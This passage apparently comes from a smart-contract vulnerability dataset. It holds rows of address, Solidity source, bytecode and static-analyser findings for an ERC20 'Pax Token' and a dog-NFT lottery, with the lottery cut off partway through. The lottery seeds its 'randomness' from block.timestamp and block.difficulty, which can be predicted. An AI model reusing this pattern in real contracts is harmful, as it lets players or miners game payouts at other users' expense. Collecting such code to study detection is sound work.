ffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a723058207050cee7e5d32674c0196ed9075263f8ab1e36f360573fb415cd27e8d61db8570029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 1,928 |
0xdf41d02dd21865d7d651aad3663de4186c8b763b | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic contracts
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer contracts for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of contracts to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 contracts
*
* @dev Implementation of the basic standard contracts.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract PAXToken is BurnableToken, PausableToken {
using SafeMath for uint;
string public constant name = "Pax Token";
string public constant symbol = "PAX";
uint32 public constant decimals = 10;
uint256 public constant INITIAL_SUPPLY = 999500000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
* @param _isPause bool (pause === true)
*/
function PAXToken(bool _isPause) public {
paused = _isPause;
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, balances[msg.sender]);
}
/**
* @dev transfer contracts for a specified address, despite the pause state
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function ownersTransfer(address _to, uint256 _value) public onlyOwner returns (bool) {
return BasicToken.transfer(_to, _value);
}
} | 0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cb57806323b872dd146101f05780632ff2e9dc14610218578063313ce5671461022b5780633f4ba83a1461025757806342966c681461026c5780635c975abb14610282578063661884631461029557806370a08231146102b75780638456cb59146102d65780638da5cb5b146102e957806395d89b4114610318578063a9059cbb1461032b578063ccda696b1461034d578063d73dd6231461036f578063dd62ed3e14610391578063f2fde38b146103b6575b600080fd5b341561011657600080fd5b61011e6103d5565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101b7600160a060020a036004351660243561040c565b604051901515815260200160405180910390f35b34156101d657600080fd5b6101de610437565b60405190815260200160405180910390f35b34156101fb57600080fd5b6101b7600160a060020a036004358116906024351660443561043d565b341561022357600080fd5b6101de61046a565b341561023657600080fd5b61023e610476565b60405163ffffffff909116815260200160405180910390f35b341561026257600080fd5b61026a61047b565b005b341561027757600080fd5b61026a6004356104fa565b341561028d57600080fd5b6101b76105b5565b34156102a057600080fd5b6101b7600160a060020a03600435166024356105c5565b34156102c257600080fd5b6101de600160a060020a03600435166105e9565b34156102e157600080fd5b61026a610604565b34156102f457600080fd5b6102fc610688565b604051600160a060020a03909116815260200160405180910390f35b341561032357600080fd5b61011e610697565b341561033657600080fd5b6101b7600160a060020a03600435166024356106ce565b341561035857600080fd5b6101b7600160a060020a03600435166024356106f2565b341561037a57600080fd5b6101b7600160a060020a0360043516602435610710565b341561039c57600080fd5b6101de600160a060020a0360043581169060243516610734565b34156103c157600080fd5b61026a600160a060020a036004351661075f565b60408051908101604052600981527f50617820546f6b656e0000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561042657600080fd5b61043083836107fa565b9392505050565b60005481565b60035460009060a060020a900460ff161561045757600080fd5b610462848484610866565b949350505050565b678ab55f8b5207800081565b600a81565b60035433600160a060020a0390811691161461049657600080fd5b60035460a060020a900460ff1615156104ae57600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a03331660009081526001602052604081205482111561051f57600080fd5b5033600160a060020a03811660009081526001602052604090205461054490836109e8565b600160a060020a03821660009081526001602052604081209190915554610571908363ffffffff6109e816565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156105df57600080fd5b61043083836109fa565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461061f57600080fd5b60035460a060020a900460ff161561063657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600381527f5041580000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156106e857600080fd5b6104308383610af4565b60035460009033600160a060020a039081169116146106e857600080fd5b60035460009060a060020a900460ff161561072a57600080fd5b6104308383610bef565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461077a57600080fd5b600160a060020a038116151561078f57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a038316151561087d57600080fd5b600160a060020a0384166000908152600160205260409020548211156108a257600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156108d557600080fd5b600160a060020a0384166000908152600160205260409020546108fe908363ffffffff6109e816565b600160a060020a038086166000908152600160205260408082209390935590851681522054610933908363ffffffff610c9316565b600160a060020a0380851660009081526001602090815260408083209490945587831682526002815283822033909316825291909152205461097b908363ffffffff6109e816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828211156109f457fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610a5757600160a060020a033381166000908152600260209081526040808320938816835292905290812055610a8e565b610a67818463ffffffff6109e816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610b0b57600080fd5b600160a060020a033316600090815260016020526040902054821115610b3057600080fd5b600160a060020a033316600090815260016020526040902054610b59908363ffffffff6109e816565b600160a060020a033381166000908152600160205260408082209390935590851681522054610b8e908363ffffffff610c9316565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c27908363ffffffff610c9316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561043057fe00a165627a7a723058209a7b5b24d18b8f8a0f6d4adb0426b243ef46d5c1a2ec5cc78335e6c8ce2c082b0029 | {"success": true, "error": null, "results": {}} | 1,929 |
0x5a7386d80108678ca4e70df0cb6aa4f57fa092c3 | pragma solidity ^0.4.18;
contract DogCoreInterface {
address public ceoAddress;
address public cfoAddress;
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
);
function ownerOf(uint256 _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function sendMoney(address _to, uint256 _money) external;
function totalSupply() external view returns (uint);
function getOwner(uint256 _tokenId) public view returns(address);
function getAvailableBlance() external view returns(uint256);
}
contract LotteryBase {
uint8 public currentGene;
uint256 public lastBlockNumber;
uint256 randomSeed = 1;
struct CLottery {
uint8[7] luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
bool noFirstReward;
}
CLottery[] public CLotteries;
address public finalLottery;
uint256 public SpoolAmount = 0;
DogCoreInterface public dogCore;
event OpenLottery(uint8 currentGene, uint8 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
event OpenCarousel(uint256 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
modifier onlyCEO() {
require(msg.sender == dogCore.ceoAddress());
_;
}
modifier onlyCFO() {
require(msg.sender == dogCore.cfoAddress());
_;
}
function toLotteryPool(uint amount) public onlyCFO {
require(SpoolAmount >= amount);
SpoolAmount -= amount;
}
function _isCarousal(uint256 currentTerm) external view returns(bool) {
return (currentTerm > 1 && CLotteries[currentTerm - 2].noFirstReward && CLotteries[currentTerm - 1].noFirstReward);
}
function getCurrentTerm() external view returns (uint256) {
return (CLotteries.length - 1);
}
}
contract LotteryGenes is LotteryBase {
function convertGeneArray(uint256 gene) public pure returns(uint8[7]) {
uint8[28] memory geneArray;
uint8[7] memory lotteryArray;
uint index = 0;
for (index = 0; index < 28; index++) {
uint256 geneItem = gene % (2 ** (5 * (index + 1)));
geneItem /= (2 ** (5 * index));
geneArray[index] = uint8(geneItem);
}
for (index = 0; index < 7; index++) {
uint size = 4 * index;
lotteryArray[index] = geneArray[size];
}
return lotteryArray;
}
function convertGene(uint8[7] luckyGenes) public pure returns(uint256) {
uint8[28] memory geneArray;
for (uint8 i = 0; i < 28; i++) {
if (i%4 == 0) {
geneArray[i] = luckyGenes[i/4];
} else {
geneArray[i] = 6;
}
}
uint256 gene = uint256(geneArray[0]);
for (uint8 index = 1; index < 28; index++) {
uint256 geneItem = uint256(geneArray[index]);
gene += geneItem << (index * 5);
}
return gene;
}
}
contract SetLottery is LotteryGenes {
function random(uint8 seed) internal returns(uint8) {
randomSeed = block.timestamp;
return uint8(uint256(keccak256(randomSeed, block.difficulty))%seed)+1;
}
function openLottery(uint8 _viewId) public returns(uint8,uint8) {
uint8 viewId = _viewId;
require(viewId < 7);
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],1);
}
if (lastBlockNumber == block.number) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, clottery.openBlock, clottery.totalAmount);
return (clottery.luckyGenes[viewId],2);
}
if (currentGene == 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
if (this._isCarousal(currentTerm)) {
revert();
}
uint8 luckyNum = 0;
uint256 bonusBalance = dogCore.getAvailableBlance();
if (currentGene == 6) {
if (bonusBalance <= SpoolAmount) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],3);
}
luckyNum = random(8);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, block.number, bonusBalance);
currentGene = 0;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBalance;
lastBlockNumber = block.number;
} else {
luckyNum = random(12);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, 0, 0);
currentGene ++;
lastBlockNumber = block.number;
}
return (luckyNum,0);
}
function random2() internal view returns (uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty))%uint256(dogCore.totalSupply()) + 1);
}
function openCarousel() public {
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenCarousel(convertGene(clottery.luckyGenes), currentTerm, clottery.openBlock, clottery.totalAmount);
}
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
uint256 bonusBlance = dogCore.getAvailableBlance();
require (this._isCarousal(currentTerm));
uint256 genes = _getValidRandomGenes();
require (genes > 0);
uint8[7] memory luckyGenes = convertGeneArray(genes);
OpenCarousel(genes, currentTerm, block.number, bonusBlance);
CLotteries[currentTerm].luckyGenes = luckyGenes;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusBlance;
}
function _getValidRandomGenes() internal view returns (uint256) {
uint256 luckyDog = random2();
uint256 genes = _validGenes(luckyDog);
uint256 totalSupply = dogCore.totalSupply();
if (genes > 0) {
return genes;
}
uint256 min = (luckyDog < totalSupply-luckyDog) ? (luckyDog - 1) : totalSupply-luckyDog;
for (uint256 i = 1; i < min + 1; i++) {
genes = _validGenes(luckyDog - i);
if (genes > 0) {
break;
}
genes = _validGenes(luckyDog + i);
if (genes > 0) {
break;
}
}
if (genes == 0) {
if (min == luckyDog - 1) {
for (i = min + luckyDog; i < totalSupply + 1; i++) {
genes = _validGenes(i);
if (genes > 0) {
break;
}
}
}
if (min == totalSupply - luckyDog) {
for (i = min; i < luckyDog; i++) {
genes = _validGenes(luckyDog - i - 1);
if (genes > 0) {
break;
}
}
}
}
return genes;
}
function _validGenes(uint256 dogId) internal view returns (uint256) {
var(, , , , , ,generation, genes, variation,) = dogCore.getDog(dogId);
if (generation == 0 || dogCore.ownerOf(dogId) == finalLottery || variation > 0) {
return 0;
} else {
return genes;
}
}
}
contract LotteryCore is SetLottery {
function LotteryCore(address _ktAddress) public {
dogCore = DogCoreInterface(_ktAddress);
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
CLotteries.push(_clottery);
}
function setFinalLotteryAddress(address _flAddress) public onlyCEO {
finalLottery = _flAddress;
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes,
uint256 totalAmount,
uint256 openBlock,
bool isReward,
uint256 term
) {
term = CLotteries.length - uint256(1);
luckyGenes = CLotteries[term].luckyGenes;
totalAmount = CLotteries[term].totalAmount;
openBlock = CLotteries[term].openBlock;
isReward = CLotteries[term].isReward;
}
function rewardLottery(bool isMore) external {
require(msg.sender == finalLottery);
uint256 term = CLotteries.length - 1;
CLotteries[term].isReward = true;
CLotteries[term].noFirstReward = isMore;
}
function toSPool(uint amount) external {
require(msg.sender == finalLottery);
SpoolAmount += amount;
}
}
contract FinalLottery {
bool public isLottery = true;
LotteryCore public lotteryCore;
DogCoreInterface public dogCore;
uint8[7] public luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
uint256 currentTerm;
uint256 public duration;
uint8 public lotteryRatio;
uint8[7] public lotteryParam;
uint8 public carousalRatio;
uint8[7] public carousalParam;
struct FLottery {
address[] owners0;
uint256[] dogs0;
address[] owners1;
uint256[] dogs1;
address[] owners2;
uint256[] dogs2;
address[] owners3;
uint256[] dogs3;
address[] owners4;
uint256[] dogs4;
address[] owners5;
uint256[] dogs5;
address[] owners6;
uint256[] dogs6;
uint256[] reward;
}
mapping(uint256 => FLottery) flotteries;
function FinalLottery(address _lcAddress) public {
lotteryCore = LotteryCore(_lcAddress);
dogCore = DogCoreInterface(lotteryCore.dogCore());
duration = 11520;
lotteryRatio = 23;
lotteryParam = [46,16,10,9,8,6,5];
carousalRatio = 12;
carousalParam = [35,18,14,12,8,7,6];
}
event DistributeLottery(uint256[] rewardArray, uint256 currentTerm);
event RegisterLottery(uint256 dogId, address owner, uint8 lotteryClass, string result);
function setLotteryDuration(uint256 durationBlocks) public {
require(msg.sender == dogCore.ceoAddress());
require(durationBlocks > 140);
require(durationBlocks < block.number);
duration = durationBlocks;
}
function registerLottery(uint256 dogId) public returns (uint8) {
uint256 _dogId = dogId;
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
address owner = dogCore.ownerOf(_dogId);
require (owner != address(this));
require(address(dogCore) == msg.sender);
require(totalAmount > 0 && isReward == false && openBlock > (block.number-duration));
var(, , , birthTime, , ,generation,genes, variation,) = dogCore.getDog(_dogId);
require(birthTime < openBlock);
require(generation > 0);
require(variation == 0);
uint8 _lotteryClass = getLotteryClass(luckyGenes, genes);
require(_lotteryClass < 7);
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, _lotteryClass);
for (uint i = 0; i < dogs.length; i++) {
if (_dogId == dogs[i]) {
RegisterLottery(_dogId, owner, _lotteryClass,"dog already registered");
return 5;
}
}
_pushLuckyInfo(currentTerm, _lotteryClass, owner, _dogId);
RegisterLottery(_dogId, owner, _lotteryClass,"successful");
return 0;
}
function distributeLottery() public returns (uint8) {
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
require(openBlock > 0 && openBlock < (block.number-duration));
require(totalAmount >= lotteryCore.SpoolAmount());
if (isReward == true) {
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 1;
}
uint256 legalAmount = totalAmount - lotteryCore.SpoolAmount();
uint256 totalDistribute = 0;
uint8[7] memory lR;
uint8 ratio;
if (lotteryCore._isCarousal(currentTerm) ) {
lR = carousalParam;
ratio = carousalRatio;
} else {
lR = lotteryParam;
ratio = lotteryRatio;
}
for (uint8 i = 0; i < 7; i++) {
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, i);
if (owners.length > 0) {
uint256 reward = (legalAmount * ratio * lR[i])/(10000 * owners.length);
totalDistribute += reward * owners.length;
dogCore.sendMoney(dogCore.cfoAddress(),reward * owners.length/10);
for (uint j = 0; j < owners.length; j++) {
address gen0Add;
if (i == 0) {
dogCore.sendMoney(owners[j],reward*95*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*5/100);
}
} else if (i == 1) {
dogCore.sendMoney(owners[j],reward*97*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*3/100);
}
} else if (i == 2) {
dogCore.sendMoney(owners[j],reward*98*9/1000);
gen0Add = _getGen0Address(dogs[j]);
if(gen0Add != address(0)){
dogCore.sendMoney(gen0Add,reward*2/100);
}
} else {
dogCore.sendMoney(owners[j],reward*9/10);
}
}
flotteries[currentTerm].reward.push(reward);
} else {
flotteries[currentTerm].reward.push(0);
}
}
if (flotteries[currentTerm].owners0.length == 0) {
lotteryCore.toSPool((dogCore.getAvailableBlance() - lotteryCore.SpoolAmount())/20);
lotteryCore.rewardLottery(true);
} else {
lotteryCore.rewardLottery(false);
}
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 0;
}
function _getGen0Address(uint256 dogId) internal view returns(address) {
var(, , , , , , , , , gen0) = dogCore.getDog(dogId);
return dogCore.getOwner(gen0);
}
function _getLuckyList(uint256 currentTerm1, uint8 lotclass) public view returns (uint256[] kts, address[] ons) {
if (lotclass==0) {
ons = flotteries[currentTerm1].owners0;
kts = flotteries[currentTerm1].dogs0;
} else if (lotclass==1) {
ons = flotteries[currentTerm1].owners1;
kts = flotteries[currentTerm1].dogs1;
} else if (lotclass==2) {
ons = flotteries[currentTerm1].owners2;
kts = flotteries[currentTerm1].dogs2;
} else if (lotclass==3) {
ons = flotteries[currentTerm1].owners3;
kts = flotteries[currentTerm1].dogs3;
} else if (lotclass==4) {
ons = flotteries[currentTerm1].owners4;
kts = flotteries[currentTerm1].dogs4;
} else if (lotclass==5) {
ons = flotteries[currentTerm1].owners5;
kts = flotteries[currentTerm1].dogs5;
} else if (lotclass==6) {
ons = flotteries[currentTerm1].owners6;
kts = flotteries[currentTerm1].dogs6;
}
}
